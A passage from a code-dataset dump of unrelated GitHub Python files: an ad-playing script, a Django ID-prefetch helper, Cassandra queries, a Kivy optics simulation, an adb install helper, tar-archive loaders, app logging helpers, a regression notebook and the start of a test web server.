+{"seq_id":"9929242321","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[23]:\n\n\nimport pandas as pd\nimport warnings\nimport os \nimport cv2 \nimport numpy as np \n\n\n# In[24]:\n\n\ndef play_ad (path):\n\n    # Create a VideoCapture object and read from input file \n    cap = cv2.VideoCapture(path) \n    \n    # Check if camera opened successfully \n    if (cap.isOpened()== False):  \n      print(\"Error opening video  file\") \n\n    # Read until video is completed \n    while(cap.isOpened()): \n\n      # Capture frame-by-frame \n      ret, frame = cap.read() \n      if ret == True: \n\n        # Display the resulting frame \n        cv2.imshow('Frame', frame) \n\n        # Press Q on keyboard to  exit \n        if cv2.waitKey(25) & 0xFF == ord('q'): \n          break\n\n      # Break the loop \n      else:  \n        break\n\n    # When everything done, release  \n    # the video capture object \n    cap.release()\n\n    \n    \n\n\n# In[29]:\n\n\npath = \"D:\\\\ads.csv\"\ndf = pd.read_csv(path)\n\nwarnings.filterwarnings('ignore')\nads= df[[\"File_path\"]] [df.Gender == 0] [df.AD_Status == \"active\"]\n#ads\n\narr = ads.to_numpy()\nx,y=ads.shape\n\nfor i in range (0,x):\n    play_ad(arr[i][0])\n    #print(\"playing ad\\n\")\ncv2.destroyAllWindows() \n\n   \n\n\n# In[6]:\n\n\nprint(arr)\n\n\n# In[ ]:\n\n\ndef play(self):\n        from os import startfile\n        startfile(self.path)\n\npath = 'C:\\\\Users\\\\l1f15bscs0049\\\\Desktop\\\\test2.mp4'      \nplay(path)        \n\n\n# In[ ]:\n\n\npath1()\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"SheikhSaadShafiq/FYP--Intelligent-Advertisement-Sequence-System","sub_path":"WRAPPER Function FINALLY!.py","file_name":"WRAPPER Function FINALLY!.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"38785439918","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n# vim:fenc=utf-8\n# created_on: 2018-08-12 21:57\n\n\"\"\"\nprefetch_id.py\n\"\"\"\n\nfrom uuid import uuid4\nfrom django.db import connection\nfrom django.conf import settings\nfrom .exception import InvalidDBEngine\n\n\n__author__ = 'Toran Sahu  <toran.sahu@yahoo.com>'\n__license__ = 'Distributed under terms of the AGPL license.'\n\n\nclass DBEngine:\n    r\"\"\"\n    Database Engine Class.\n    \"\"\"\n\n    def __init__(self):\n        r\"\"\"\n        Set DB Engine as Default Database in Django Settings.\n        :return: String, DB Engine Name\n        \"\"\"\n        self.db_engine = connection.settings_dict['ENGINE']\n        return self.db_engine\n\n    def set_db_engine(self, db_engine):\n        r\"\"\"\n        Set DB Engine of your choice.\n        :param db_engine: String, DB Engine Name\n        :return: String, DB Engine Name\n        \"\"\"\n        self.db_engine = db_engine\n        return self.db_engine\n\n    def get_db_engine(self):\n        r\"\"\"\n        Return selected DB Engine.\n        :return: String, DB Engine Name\n        \"\"\"\n        return self.db_engine\n\n\nclass PrefetchID:\n    r\"\"\"\n    Prefetch Model ID.\n    \"\"\"\n\n    def __init__(self):\n        r\"\"\"\n        Initialize with default DB Engine\n        \"\"\"\n        self.db_engine = DBEngine()\n\n    def set_db_engine(self, db_engine_obj):\n        r\"\"\"\n        Set DB Engine of your choice.\n        :param db_engine: DBEngine Class Object\n        :return: String, DB Engine Name\n        \"\"\"\n        self.db_engine = db_engine_obj.db_engine\n        return self.db_engine\n\n    def prefetch_id(self, model_instance):\n        r\"\"\"\n        Prefetch Model ID by Model Instance (Default).\n\n        :param model_instance:\n        :return: Integer, Next Sequence ID/Number for the given Model Instance\n        \"\"\"\n        pass\n\n    def prefetch_id_by_table(self, table_name):\n        r\"\"\"\n        Prefetch Model ID by Table Name.\n\n        :param table_name: String, Model Table Name\n        :return: Integer, Next Sequence ID/Number for the given Table\n        \"\"\"\n        pass\n\n\n\n\ndef prefetch_id(instance):\n    r\"\"\"\n    Prefetch (fetches next) sequence for particular model from different databases.\n    :param instance: <instance> of Model\n    :return: <int> sequence id\n    \"\"\"\n    db_engine = connection.settings_dict['ENGINE']\n\n    if db_engine == 'django.db.backends.sqlite3':\n        cursor = connection.cursor()\n        table_name = instance._meta.app_label.lower() + '_' + instance._meta.object_name.lower()\n        cursor.execute(f\"select seq from sqlite_sequence where name='{table_name}'\")\n        row = cursor.fetchone()\n        cursor.close()\n        # if sqlite_sequence table has record for the table_name\n        if row is not None:\n            seq_id = int(row[0])\n        # else if its first record insertion in the table_name\n        else:\n            seq_id = 0\n        return seq_id + 1\n    elif db_engine == 'django.db.backends.mysql':\n        cursor = connection.cursor()\n        # database_name = 'ethereal_machines'\n        database_name = settings.DATABASES['default']['NAME']\n        table_name = instance._meta.app_label.lower() + '_' + instance._meta.object_name.lower()\n        cursor.execute(\n            f\"select auto_increment from information_schema.tables \"\n            f\"where auto_increment is not null and table_schema = '{database_name}' and table_name = '{table_name}'\")\n        row = cursor.fetchone()\n        cursor.close()\n        seq_id = int(row[0])\n        return seq_id\n    elif db_engine == 'django.db.backends.postgresql_psycopg2':\n        cursor = connection.cursor()\n        cursor.execute(\n            \"SELECT nextval('{0}_{1}_id_seq'::regclass)\".format(\n                instance._meta.app_label.lower(),\n                instance._meta.object_name.lower(),\n            )\n        )\n        row = cursor.fetchone()\n        cursor.close()\n        return int(row[0])\n    elif db_engine == 'django.db.backends.oracle':\n        pass\n    else:\n        raise InvalidDBEngine\n\n\ndef directory_path_with_id(instance, filename):\n    \"\"\"\n    Return media path based on MEDIA_ROOT/ModelName/UUID.EXT\n    :param instance:\n    :param filename:\n    :return:\n    \"\"\"\n\n    # if the directory path is going to be used while insert\n    if instance.id is None:\n        current_id = prefetch_id(instance)\n    # else if the directory path is going to be used while update\n    else:\n        current_id = instance.id\n    try:\n        file, ext = filename.rsplit('.', 1)\n        return str.lower(f'{instance._meta.app_label}/{instance._meta.object_name}/{current_id}/{uuid4()}.{ext}')\n    except:\n        return str.lower(f'{instance._meta.app_label}/{instance._meta.object_name}/{current_id}/{filename}')\n","repo_name":"toransahu/django-prefetch-id","sub_path":"src/core/prefetch_id.py","file_name":"prefetch_id.py","file_ext":"py","file_size_in_byte":4701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"35830154717","text":"# SELECT QUERIES\n\nselect_songplay_by_session = \"\"\"\nSELECT artist, song, length\nFROM songplayBySession\nWHERE sessionId = 338 AND itemInSession = 4\n\"\"\"\n\nselect_songplay_by_user = \"\"\"\nSELECT artist, song, firstName, lastName\nFROM songplayByUser\nWHERE userId = 10 AND sessionId = 182\nORDER BY itemInSession ASC\n\"\"\"\n\nselect_songplay_by_song = \"\"\"\nSELECT firstName, lastName\nFROM songplayBySong\nWHERE song = 'All Hands Against His Own'\n\"\"\"\n\n# CREATE TABLE QUERIES\n\ntable_songplay_by_session = \"\"\"\nCREATE TABLE IF NOT EXISTS songplayBySession\n(sessionId int, itemInSession int,\nartist text, song text, length float,\nPRIMARY KEY (sessionId, itemInSession))\n\"\"\"\n\ntable_songplay_by_user = \"\"\"\nCREATE TABLE IF NOT EXISTS songplayByUser\n(userId int, sessionId int, itemInSession int,\nartist text, song text, firstName text, lastName text,\nPRIMARY KEY ((userId, sessionId), itemInSession))\n\"\"\"\n\ntable_songplay_by_song = \"\"\"\nCREATE TABLE IF NOT EXISTS songplayBySong\n(song text, userId int,\nfirstName text, lastName text,\nPRIMARY KEY (song, userId))\n\"\"\"\n\n# DROP TABLE QUERIES\n\ndrop_songplay_by_session = \"DROP TABLE IF EXISTS songplayBySession\"\n\ndrop_songplay_by_user = \"DROP TABLE IF EXISTS songplayByUser\"\n\ndrop_songplay_by_song = \"DROP TABLE IF EXISTS songplayBySong\"\n\n# QUERY LISTS\n\nselect_queries = [select_songplay_by_session,\n                  select_songplay_by_user, select_songplay_by_song]\n\ncreate_table_queries = [table_songplay_by_session,\n                        table_songplay_by_user, table_songplay_by_song]\n\ndrop_table_queries = [drop_songplay_by_session,\n                drop_songplay_by_user, drop_songplay_by_song]\n","repo_name":"rodrigoalvamat/certification-dataeng-cassandra","sub_path":"lib/etl/queries.py","file_name":"queries.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"39221728322","text":"# -*- coding: utf-8 -*-\nimport math\n\nfrom kivy.properties import NumericProperty, ObjectProperty\nfrom kivy.utils import boundary\n\nfrom core.widgets.controls.sliderControl import SliderControl\nfrom core.widgets.experimentWindow import ExperimentWindow\nfrom core.widgets.lineWidget import LineWidget\nfrom core.widgets.physicsObject import PhysicsObject\nfrom core.widgets.texturedWidget import TexturedWidget\n\n\nGLASS_WIDTH = 128\n\n\nclass RefractionExperimentWindow(ExperimentWindow):\n    in_angle = SliderControl(label=\"Input angle\",\n                             description=\"Angle of the input ray\",\n                             min=-85.0, max=85.0, value=0.0, dim=u' \\u00b0')\n    refractive_index = SliderControl(label=\"Refractive index\",\n                                     description=\"of the glass\",\n                                     min=1, max=5, value=1.52, dim='')\n    reflectivity = SliderControl(label=\"Reflectivity\",\n                                 description=\"of the glass\",\n                                 min=0, max=1, value=0.0, dim='')\n\n    boat = ObjectProperty()\n    scale = NumericProperty(1.0)\n    can_change_speed = True\n\n    def load(self, *largs):\n        self.torch = PhysicsObject(source=self.get_file('data/torch.png'), draggable=True)\n        self.torch.bind(on_drag=self.set_ray_angle)\n        self.glass = TexturedWidget(source=self.get_file('data/glass.png'), scale=GLASS_WIDTH / 256.0)\n        self.line_in = LineWidget(width=3.0)\n        self.line_glass = LineWidget(width=3.0)\n        self.line_out = LineWidget(width=3.0)\n        self.line_reflection = LineWidget(width=3.0, color=[1, 1, 1, 0.0])\n\n        self.add_widget(self.line_in)\n        self.add_widget(self.line_glass)\n        self.add_widget(self.line_out)\n        self.add_widget(self.line_reflection)\n        self.add_widget(self.glass)\n        self.add_widget(self.torch)\n\n    def reset(self, *largs):\n        self.update()\n\n    def update(self, *largs):\n        try:\n            dt = float(largs[0])\n        except:\n            dt = 0.0\n\n        cx = (self.size[1] / 2.2) * math.sin((90 - self.in_angle.value) * math.pi / 180.0)\n        cy = (self.size[1] / 2.2) * math.cos((90 - self.in_angle.value) * math.pi / 180.0)\n        self.line_in.start = (self.line_in.end[0] - cx, self.line_in.end[1] - cy)\n\n        self.torch.pos = self.line_in.start\n        self.torch.angle = -self.in_angle.value\n        self.line_reflection.end = (self.line_in.end[0] - cx * 10.0, self.line_in.end[1] + cy * 10.0)\n        self.line_reflection.color = [1, 1, 0.7, self.reflectivity.value]\n        self.line_out.color = [0.7, 1, 0.7, 1.0 - self.reflectivity.value]\n        self.line_glass.color = [0.7, 1, 0.7, 1.0 - self.reflectivity.value]\n\n        sina = math.sin(self.in_angle.value * math.pi / 180.0)\n        siny = sina / self.refractive_index.value\n        cosy = math.sqrt(1 - siny * siny)\n        l = math.sqrt(GLASS_WIDTH * GLASS_WIDTH + math.pow(GLASS_WIDTH / math.tan(math.atan2(cosy, siny)), 2))\n        self.line_glass.end = (self.line_glass.start[0] + l * cosy, self.line_glass.start[1] + l * siny)\n\n        cosy = math.sqrt(1 - sina * sina)\n        l = self.size[0]\n        self.line_out.start = self.line_glass.end\n        self.line_out.end = (self.line_out.start[0] + l * cosy, self.line_out.start[1] + l * sina)\n\n    def set_ray_angle(self, widget, touch):\n        touch_x, touch_y = touch.x, touch.y\n        angle = math.atan2(touch_y - self.line_in.end_y, touch_x - self.line_in.end_x)\n        angle = angle * 180 / math.pi + 180\n        if angle > 180:\n            angle -= 360\n        angle = boundary(angle, -85.0, 85.0)\n        self.in_angle.value = angle\n        self.update()\n\n    def on_size(self, *largs):\n        self.glass.pos = (self.pos[0] + self.size[0] / 2.0, self.pos[1])\n        self.glass.size = (128, self.size[1])\n\n        self.line_in.end = (self.pos[0] + self.size[0] / 2.0, self.pos[0] + self.size[1] / 2.0)\n        self.line_glass.start = self.line_in.end\n        self.line_out.start = self.line_glass.end\n        self.line_out.end = (self.pos[0] + self.size[0], self.pos[0])\n        self.line_reflection.start = self.line_in.end\n\n        self.update()\n\n\ndef load_experiment():\n    main_widget = RefractionExperimentWindow()\n    return main_widget\n","repo_name":"ashambalev/kivy-physics-sandbox","sub_path":"experiments/optics/refraction/experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":4273,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"22"}
+{"seq_id":"21933125310","text":"from .adbkit import *\nimport time\n\nimport eventlet\neventlet.monkey_patch()\ndef haha2(apkPath):\n\teventlet.spawn_n(installApk2,apkPath)\n\ndef installApk2(apkPath):\n\tprint ('iamin')\n\t# return\n\n\ttry:\n\t\tpackageName=getpackage(apkPath)\n\t\tactivity=getActivity(apkPath)\n\texcept:\n\t\t# emit('res','get package failed')\n\t\tprint ('get package failed')\n\ttry:\n\t\tres2=install('fa3fb4067d52','/tmp/uploadforder/20160530-baidu-release.apk')\n\t\tif res2[1][2]!='Success':\n\t\t\t# emit('res','install failed')\n\t\t\tprint ('install failed')\n\t\telse:\n\t\t\t# emit('res','install success')\n\t\t\tprint ('install success')\n\t\tres=launchApp(p,a)\n\t\tif res.startwith('Starting'):\n\t\t\t# emit('res','launch success')\n\t\t\tprint ('launch success')\n\t\telse:\n\t\t\tprint ('launch failed')\n\t\t\t# emit('res','launch failed')\n\texcept:\n\t\tprint ('install failed2')\n\t\t# emit('res','install failed')\n\n\n","repo_name":"xuzhaogit/mtp","sub_path":"app/testcase/installHelper.py","file_name":"installHelper.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"42109564461","text":"# This is compatible with python3\nfrom __future__ import print_function, division\nimport os\nimport imp\nimport tarfile\n\nimport scipy.io as sio\n\ndef pyecltest_mat_from_tar(tar_archive, mat_filename='Pyecltest.mat'):\n    tar_base = os.path.basename(tar_archive)[:-4] # internal name of folder in archive\n\n    with tarfile.open(tar_archive) as tar:\n        file_ = tar.extractfile(os.path.join(tar_base, mat_filename))\n        mat = sio.loadmat(file_)\n\n    return mat\n\ndef module_from_tar(tar_archive, file_name, module_name):\n    tar_base = os.path.basename(tar_archive)[:-4]\n\n    with tarfile.open(tar_archive) as tar:\n        # String that contains the specified file\n        file_str = tar.extractfile(os.path.join(tar_base, file_name)).read()\n\n    # Create module from this string\n    # https://stackoverflow.com/questions/5362771/load-module-from-string-in-python\n    module = imp.new_module(module_name)\n    exec(file_str, module.__dict__)\n    return module\n\ndef dump_file(tar_archive, file_name, output=None):\n    tar_base = os.path.basename(tar_archive)[:-4]\n\n    with tarfile.open(tar_archive) as tar:\n        # String that contains the specified file\n        file_str = tar.extractfile(os.path.join(tar_base, file_name)).read()\n\n    if output is None:\n        print(file_str)\n    else:\n        with open(output, 'w') as f:\n            f.write(file_str)\n\n","repo_name":"giadarol/PyECLOUDSimFolderTarArchives","sub_path":"load_tar_archives.py","file_name":"load_tar_archives.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"35423238588","text":"import json\nfrom datetime import datetime, timedelta\nfrom typing import Optional\n\nimport pytz as pytz\n\nfrom firebase import firebase_utils\nfrom group.models import User, Person\nfrom user_logging import config\nfrom . import constants\n\nNOW_STR: str = \"NOW\"\nONE_DAY_TIMEDELTA: timedelta = timedelta(days=1)\nTZ_TIMEZONE = pytz.timezone(\"America/New_York\")\n\n# Load geostories\nwith open(constants.GEOSTORIES_PATH) as f:\n    all_geostories = json.load(f)\n\n# Load all stories\nstories = dict()\nfor key, val in constants.story_contents_json.items():\n    with open(val) as f:\n        stories[key] = json.load(f)\n\ndef get_friendly_date_from_str(date_str: str) -> str:\n    friendly_datetime: datetime = firebase_utils.get_datetime_from_str(date_str)\n    return firebase_utils.get_pretty_date_str(friendly_datetime)\n\n\ndef get_friendly_time_from_timestamp(timestamp_millis: int) -> str:\n    friendly_datetime: datetime = firebase_utils.get_datetime_from_timestamp(timestamp_millis)\n    return firebase_utils.get_pretty_time_str(friendly_datetime)\n\n\ndef get_event_info(event: dict, member_by_role: dict) -> str:\n    person_adult: Person = member_by_role[\"P\"]\n    person_child: Person = member_by_role[\"C\"]\n    event_name: str = event['eventName']\n    event_params: dict\n    if 'eventParams' in event :\n        event_params = event['eventParams']\n\n    if event_name == \"READ_STORY\":\n        story_id: str = event_params['STORY_ID']\n        story_name: str = constants.stories[story_id] if story_id in constants.stories.keys() else story_id\n        return \"Read a storybook: <i>\" + story_name + \"</i>.\"\n    elif event_name == \"REFLECTION_RESPONDED\":\n        text: str = get_reflection_question(event_params)\n        return \"Answered this question:<span class='quote'><i>\" + text + \"</i></span>\"\n    elif event_name == \"REFLECTION_PLAYBACK_START\":\n        return \"Replaying the recorded answer\"\n    elif event_name == \"CHALLENGE_PICKED\":\n        challenge_data = json.loads(event_params['CHALLENGE_JSON'])\n        adult_goal = round(challenge_data['challenges_by_person'][str(person_adult.person_id)][\"goal\"])\n        child_goal = round(challenge_data['challenges_by_person'][str(person_child.person_id)][\"goal\"])\n        return \"Picked a fitness challenge. Caregiver: {0} steps, child {1} steps.\".format(adult_goal, child_goal)\n    elif event_name == \"PLAY_PROGRESS_ANIMATION\":\n        is_completed: bool = float(event_params['OVERALL_PROGRESS']) >= 1.0\n        if is_completed:\n            return \"Completed family fitness challenge.\"\n        else:\n            return \"Family did not complete the fitness challenge.\"\n    elif event_name == \"STORY_UNLOCKED\":\n        story_id: str = event_params['STORY_ID']\n        story_name: str = constants.stories[story_id] if constants.stories[story_id] else event_params['STORY_ID']\n        return \"Unlocked a story chapter in: \" + story_name + \".\"\n    elif event_name == \"GEOSTORY_SUBMITTED\":\n        prompt: str = get_geostory_prompt(event_params)\n        return person_adult.name + \" shared a community story. \" \\\n                                   \"<span class='quote'>Question: <i>\" + prompt + \"</i></span>\"\n    # elif event_name == \"GEOSTORY_VIEWED\":\n    elif event_name == \"GEOSTORY_PLAYED\":\n        if event_params['geostory_id'] in all_geostories:\n            author = all_geostories[event_params['geostory_id']]['meta']['userNickname']\n        else:\n            author = \"\"\n        # return person_adult.name  + \" listened to a community story from <b>\" + author + \"</b>: \"\n        return \"Listened to a community story from <b>\" + author + \"</b>: \"\n    elif event_name == \"GEOSTORY_REACTION_ADDED\":\n        story_author_str: str = event_params[\"geoStoryAuthorNickname\"]\n        reaction_str: str = event_params[\"reaction\"]\n        return person_adult.name + \" reacted with \\\"\" + reaction_str + \"\\\" to a story by \" + story_author_str + \".\"\n    elif event_name == \"EMOTION_LOGGED_ADULT\":\n        emotion_str: str = \"<span class='emotion'>\"\n        emotion_str += \"</span>, <span class='emotion'>\".join(json.loads(event_params['list_of_emotions']))\n        emotion_str += \"</span>\"\n        return person_adult.name + \" logged this emotion: \" + emotion_str + \". \"\n    elif event_name == \"EMOTION_LOGGED_CHILD\":\n        emotion_str: str = \"<span class='emotion'>\"\n        emotion_str += \"</span>, <span class='emotion'>\".join(json.loads(event_params['list_of_emotions']))\n        emotion_str += \"</span>\"\n        return person_child.name + \" logged this emotion: \" + emotion_str + \". \"\n    elif event_name == \"APP_STARTUP\":\n        return \"Starting the app\"\n    else:\n        if 'eventParams' in event:\n            return str(event_params)\n        else:\n            return \"\"\n\n\ndef get_filtered_logs(unfiltered_logs: dict, event_names: list) -> list:\n    return list(filter(lambda key:\n                       unfiltered_logs[key]['eventName'] in event_names,\n                   unfiltered_logs))\n\n\ndef get_member_steps_on_day(member_fitness_data: dict, role: str, date_str: str) -> int:\n    if date_str in member_fitness_data[role]:\n        return member_fitness_data[role][date_str]\n    else:\n        return 0\n\n\ndef get_edit_uri(user: User, event: dict) -> Optional[str]:\n    event_name: str = event['eventName']\n    event_timestamp: int = int(event['timestamp'])\n    event_params: dict\n\n    if 'eventParams' in event:\n        event_params = event['eventParams']\n\n    if event_name == \"REFLECTION_RESPONDED\":\n        # user_id: str = user.user_id\n        # story_id: str = event_params[\"STORY_ID\"]\n        # page_id: str = str(event_params[\"PAGE_ID\"])\n        # return \"/reflection/edit/{0}/{1}/{2}/{3}\".format(user_id, story_id, page_id, event_timestamp)\n\n        user_id: str = user.user_id\n        date_string: str = firebase_utils.get_date_str_from_timestamp(event_timestamp)\n        return config.URL_EDIT_LOG.format(user_id, date_string, event_timestamp)\n    elif event_name == \"GEOSTORY_SUBMITTED\":\n        user_id: str = user.user_id\n        date_string: str = firebase_utils.get_date_str_from_timestamp(event_timestamp)\n        return config.URL_EDIT_LOG.format(user_id, date_string, event_timestamp)\n    else:\n        return None\n\n\ndef get_transcript(event: dict) -> Optional[str]:\n    event_name: str = event['eventName']\n    event_params: dict\n\n    if 'eventParams' in event:\n        event_params = event['eventParams']\n\n    if event_name == \"REFLECTION_RESPONDED\":\n        if \"transcript\" in event_params:\n            return event_params[\"transcript\"]\n        elif \"TRANSCRIPT\" in event_params:\n            return event_params[\"TRANSCRIPT\"]\n        else:\n            return \"\"\n    elif event_name == \"GEOSTORY_SUBMITTED\":\n        if \"GEOSTORY_ID\" not in event_params:\n            return None\n\n        if event_params[\"GEOSTORY_ID\"] in all_geostories:\n            return all_geostories[event_params[\"GEOSTORY_ID\"]]['meta']['transcript']\n        else:\n            return \"———\"\n        # return event_params['transcript'] if 'transcript' in event_params else \"\"\n    elif event_name == \"GEOSTORY_PLAYED\":\n        geostory_id: str = event_params['geostory_id']\n        transcript = all_geostories[geostory_id]['meta']['transcript'] if geostory_id in all_geostories else geostory_id\n        return transcript\n    else:\n        return None\n\n\ndef get_reflection_question(event_params: dict) -> str:\n    story_id: str = event_params[\"STORY_ID\"]\n    page_id: int = event_params[\"PAGE_ID\"]\n\n    if story_id not in stories:\n        return \"({0})\".format(story_id)\n    else:\n        contents: list = stories[story_id]['contents']\n\n    if page_id > len(contents):\n        return \"({0}, {1})\".format(story_id, page_id)\n    else:\n        page: dict = contents[page_id-1]\n        return page['text']\n\n\ndef get_geostory_prompt(event_params: dict) -> str:\n    story_id: str = event_params[\"PROMPT_PARENT_ID\"]\n    page_id: int = int(event_params[\"PROMPT_ID\"])\n\n    if story_id not in stories:\n        return \"({0})\".format(story_id)\n    else:\n        contents: list = stories[story_id]['contents']\n\n    if page_id > len(contents):\n        return \"({0}, {1})\".format(story_id, page_id)\n    else:\n        page: dict = contents[page_id]\n        return page['text']\n\n\ndef get_meta(event: dict) -> Optional[str]:\n    event_name: str = event['eventName']\n    event_params: dict\n\n    if 'eventParams' in event :\n        event_params = event['eventParams']\n\n    if event_name == \"GEOSTORY_PLAYED\":\n        geostory_id: str = event_params['geostory_id']\n\n        if geostory_id in all_geostories:\n            story = all_geostories[event_params['geostory_id']]\n            return \"&mdash; \" + story['meta']['userNickname'] + \". \" + story['meta'][\"bio\"]\n        else:\n            return \"&mdash; \" + geostory_id\n    else:\n        return None","repo_name":"hermansaksono/storywell_firebase_admin","sub_path":"user_logging/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":8759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"5585728828","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# <h2 align='center'> Peer-graded Assignment: House Sales in King County, USA</h2>\n\n# In[2]:\n\n\nimport numpy as np \nimport pandas as pd \nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\n# In[3]:\n\n\ndf = pd.read_csv('kc_house_data.csv')\n\n\n# Question 1) Display the data types of each column using the attribute dtype, then take a screenshot and submit it, include your code in the image.\n\n# In[5]:\n\n\ndf.dtypes\n\n\n# Question 2) Drop the columns \"id\" and \"Unnamed: 0\" from axis 1 using the method drop(), then use the method describe() to obtain a statistical summary of the data. Take a screenshot and submit it, make sure the inplace parameter is set to True. \n\n# In[8]:\n\n\ndf.drop('id', axis=1, inplace=True)\ndf.describe()\n#there is no column named 'Unnamed: 0 in the dataset I downloaded'\n\n\n# Question 3) use the method value_counts to count the number of houses with unique floor values, use the method .to_frame() to convert it to a dataframe.\n\n# In[12]:\n\n\ndf['floors'].value_counts().to_frame()\n\n\n# Question 4) use the function boxplot in the seaborn library to produce a plot that can be used to determine whether houses with a waterfront view or without a waterfront view have more price outliers.\n\n# In[15]:\n\n\nsns.boxplot('waterfront', 'price', data=df)\nplt.show()\n\n\n# Question 4) Use the function regplot in the seaborn library to determine if the feature sqft_above is negatively or positively correlated with price.\n\n# In[17]:\n\n\nsns.regplot('sqft_above', 'price', data=df)\nplt.show()\n\n\n# In[18]:\n\n\ndf[['sqft_above', 'price']].corr()\n\n\n# Fit a linear regression model to predict the price using the feature 'sqft_living' then calculate the R^2. Take a screenshot of your code and the value of the R^2.\n\n# In[19]:\n\n\nfrom sklearn.linear_model import LinearRegression\n\n\n# In[21]:\n\n\nLM = LinearRegression()\n\n\n# In[29]:\n\n\nLM.fit(df[['sqft_living']], df['price'])\n\n\n# In[30]:\n\n\nyhat = LM.predict(df[['sqft_living']])\nyhat[0:6]\n\n\n# In[31]:\n\n\nprint('The value of R^2 is: ', LM.score(df[['sqft_living']], df['price']))\n\n\n# Fit a linear regression model to predict the 'price' using the list of features:\n# \"floors\"\n# \"waterfront\"\n# \"lat\"\n# \"bedrooms\"\n# \"sqft_basement\"\n# \"view\"\n# \"bathrooms\"\n# \"sqft_living15\"\n# \"sqft_above\"\n# \"grade\"\n# \"sqft_living\"\n\n# In[34]:\n\n\nX = df[['floors', \n        'waterfront', \n        'lat',\n        'bedrooms',\n        'sqft_basement',\n        'view',\n        'bathrooms',\n        'sqft_living15',\n        'sqft_above',\n        'grade',\n        'sqft_living']]\nY = df['price']\n\n\n# In[35]:\n\n\nLM.fit(X, Y)\n\n\n# In[36]:\n\n\nYhat = LM.predict(X)\n\n\n# In[37]:\n\n\nprint('The value of R^2 is: ', LM.score(X, Y))\n\n\n# Create a pipeline object that scales the data performs a polynomial transform and fits a linear regression model. Fit the object using the features in the question above, then fit the model and calculate the R^2\n\n# In[39]:\n\n\nfrom sklearn.preprocessing import StandardScaler, PolynomialFeatures\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.pipeline import Pipeline\n\n\n# In[42]:\n\n\n#Creating a pipeline object\nInput=[('scale',StandardScaler()), ('polynomial', PolynomialFeatures(include_bias=False)), ('model',LinearRegression())]\nPipe = Pipeline(Input)\n\n\n# In[53]:\n\n\n# For Polynomial transformation\nPF = PolynomialFeatures()\n_yhat = PF.fit_transform(X, Y)\n\n\n# In[59]:\n\n\n#Fitting the object using the features in in question above\nPipe.fit(X, Y)\n\n\n# In[64]:\n\n\n#Fitting the model and calculate the R^2\n_Yhat = LM.fit(X, Y)\nprint('The value of R^2 is: ', Pipe.score(X, Y))\n\n\n# Create and fit a Ridge regression object using the training data, setting the regularization parameter to 0.1 and calculate the R^2 using the test data.\n\n# In[96]:\n\n\nfrom sklearn.model_selection import train_test_split, cross_val_score\nfrom sklearn.linear_model import Ridge\n\n\n# In[90]:\n\n\nX = df.drop(['price', 'date'], axis=1)\nY = df['price']\nx_train, x_test, y_train, y_test = train_test_split(X, Y, test_size=0.3, random_state=1)\n\n\n# In[91]:\n\n\nRigeModel = Ridge(alpha=0.1)\n\n\n# In[92]:\n\n\nRigeModel.fit(x_train, y_train)\n\n\n# In[98]:\n\n\nprint('The value of R^2 using the test data is: ', RigeModel.score(x_test, y_test))\n\n\n# Perform a second order polynomial transform on both the training data and testing data. Create and fit a Ridge regression object using the training data, setting the regularisation parameter to 0.1. Calculate the R^2 utilising the test data provided\n\n# In[94]:\n\n\nPR = PolynomialFeatures(degree=2)\n\n\n# In[101]:\n\n\nX = df.drop(['price', 'date'], axis=1)\nY = df['price']\n\nx_train, x_test, y_train, y_test = train_test_split(X, Y, test_size=0.3, random_state=0)\n\ntrain_pr = PR.fit_transform(x_train, y_train)\ntest_pr = PR.fit_transform(x_test, y_test)\n\nRigeModel2 = Ridge(alpha=0.1)\nRigeModel.fit(x_train, y_train)\n\n\n# In[102]:\n\n\nprint('The value of R^2 using the test data is: ', RigeModel.score(x_test, y_test))\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"bilalahmad1995/House-Sales-in-King-County-USA","sub_path":"Assignment - House Sales in King County, USA.py","file_name":"Assignment - House Sales in King County, USA.py","file_ext":"py","file_size_in_byte":4913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"71502731897","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport SimpleHTTPServer\nimport socket\nimport SocketServer\nimport threading\n\n\nclass _ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):\n  pass\n\n\ndef MakeRequestHandlerClass(base_path):\n  \"\"\"RequestHandler that serves files that reside relative to base_path.\n\n  Args:\n    base_path: A path considered to be the root directory.\n\n  Returns:\n    A RequestHandler class.\n  \"\"\"\n\n  class TestDataHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):\n    \"\"\"Handles HTTP requests, but changes the base directory for assets.\"\"\"\n\n    _current_working_directory = os.getcwd()\n    _base_path = base_path\n\n    def translate_path(self, path):\n      \"\"\"Translate the request path to the file in the testdata directory.\"\"\"\n\n      potential_path = SimpleHTTPServer.SimpleHTTPRequestHandler.translate_path(\n          self, path)\n      potential_path = potential_path.replace(self._current_working_directory,\n                                              self._base_path)\n      return potential_path\n\n  return TestDataHTTPRequestHandler\n\n\nclass ThreadedWebServer(object):\n  \"\"\"A HTTP WebServer that serves requests in a separate thread.\"\"\"\n\n  def __init__(self,\n               handler=MakeRequestHandlerClass(os.path.dirname(__file__))):\n    